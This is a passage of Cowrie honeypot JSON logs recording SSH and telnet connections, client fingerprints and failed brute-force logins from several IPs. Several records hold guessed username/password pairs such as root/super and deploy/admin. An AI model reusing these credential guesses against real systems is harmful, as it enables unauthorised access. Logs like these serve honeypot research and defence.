{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:21.411732Z","src_ip":"14.63.196.175","session":"1b5f92c60f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:22.223761Z","src_ip":"91.92.40.36","session":"1f46108cc74c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"super","message":"login attempt [root/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:22.236321Z","src_ip":"14.63.196.175","session":"1b5f92c60f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:23.436534Z","src_ip":"14.63.196.175","session":"1b5f92c60f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:23.722383Z","src_ip":"91.92.40.36","session":"1f46108cc74c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18426,"dst_ip":"10.17.0.5","dst_port":22,"session":"c43a35f3d213","protocol":"ssh","message":"New connection: 91.92.40.36:18426 (10.17.0.5:22) [session: c43a35f3d213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:27.872641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:28.135198Z","src_ip":"91.92.40.36","session":"c43a35f3d213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:28.139127Z","src_ip":"91.92.40.36","session":"c43a35f3d213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"idempiere","password":"password","message":"login attempt [idempiere/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:30.676393Z","src_ip":"91.92.40.36","session":"c43a35f3d213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":48378,"dst_ip":"10.17.0.5","dst_port":22,"session":"c13a6ddab71c","protocol":"ssh","message":"New connection: 103.27.238.120:48378 (10.17.0.5:22) [session: c13a6ddab71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:30.948630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:30.952290Z","src_ip":"103.27.238.120","session":"c13a6ddab71c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:31.231109Z","src_ip":"103.27.238.120","session":"c13a6ddab71c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"127549","message":"login attempt [root/127549] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:32.068444Z","src_ip":"103.27.238.120","session":"c13a6ddab71c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:32.506703Z","src_ip":"91.92.40.36","session":"c43a35f3d213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:33.348572Z","src_ip":"103.27.238.120","session":"c13a6ddab71c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18450,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfbe4b9606b0","protocol":"ssh","message":"New connection: 91.92.40.36:18450 (10.17.0.5:22) [session: dfbe4b9606b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:34.129911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:35.231982Z","src_ip":"91.92.40.36","session":"dfbe4b9606b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:35.235195Z","src_ip":"91.92.40.36","session":"dfbe4b9606b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:39.491143Z","src_ip":"91.92.40.36","session":"dfbe4b9606b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:41.144616Z","src_ip":"91.92.40.36","session":"dfbe4b9606b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49712,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b6ecba308d","protocol":"ssh","message":"New connection: 91.92.40.36:49712 (10.17.0.5:22) [session: 71b6ecba308d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:41.710490Z"}
{"eventid":"cowrie.session.closed","duration":36.11793804168701,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:41.741586Z","src_ip":"172.81.62.90","session":"2cf854582e45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":47260,"dst_ip":"10.17.0.5","dst_port":22,"session":"85d9ad25dd53","protocol":"ssh","message":"New connection: 163.7.9.84:47260 (10.17.0.5:22) [session: 85d9ad25dd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:42.059021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:42.063496Z","src_ip":"163.7.9.84","session":"85d9ad25dd53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:42.324338Z","src_ip":"163.7.9.84","session":"85d9ad25dd53","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:42.826298Z","src_ip":"91.92.40.36","session":"71b6ecba308d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:42.829418Z","src_ip":"91.92.40.36","session":"71b6ecba308d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte2025","message":"login attempt [soporte/soporte2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:43.399181Z","src_ip":"163.7.9.84","session":"85d9ad25dd53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:44.662562Z","src_ip":"163.7.9.84","session":"85d9ad25dd53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peter","password":"peter","message":"login attempt [peter/peter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:47.397443Z","src_ip":"91.92.40.36","session":"71b6ecba308d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64460,"dst_ip":"10.17.0.5","dst_port":22,"session":"91c6df085946","protocol":"ssh","message":"New connection: 91.92.40.36:64460 (10.17.0.5:22) [session: 91c6df085946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:49.240633Z"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:49.344467Z","src_ip":"91.92.40.36","session":"71b6ecba308d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:50.100248Z","src_ip":"91.92.40.36","session":"91c6df085946","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:50.103379Z","src_ip":"91.92.40.36","session":"91c6df085946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:55.117845Z","src_ip":"91.92.40.36","session":"91c6df085946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41218,"dst_ip":"159.203.135.109","dst_port":23,"session":"46fe151047ee","protocol":"telnet","message":"New connection: 128.199.8.54:41218 (159.203.135.109:23) [session: 46fe151047ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:56.539540Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24734,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d86b28c8fd7","protocol":"ssh","message":"New connection: 91.92.40.36:24734 (10.17.0.5:22) [session: 9d86b28c8fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:57.318276Z"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:57.364293Z","src_ip":"91.92.40.36","session":"91c6df085946","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:58.757497Z","src_ip":"91.92.40.36","session":"9d86b28c8fd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:58.762764Z","src_ip":"91.92.40.36","session":"9d86b28c8fd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":57086,"dst_ip":"159.203.135.109","dst_port":22,"session":"05834e46b517","protocol":"ssh","message":"New connection: 102.213.34.99:57086 (159.203.135.109:22) [session: 05834e46b517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:59.953040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:38:59.957475Z","src_ip":"102.213.34.99","session":"05834e46b517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-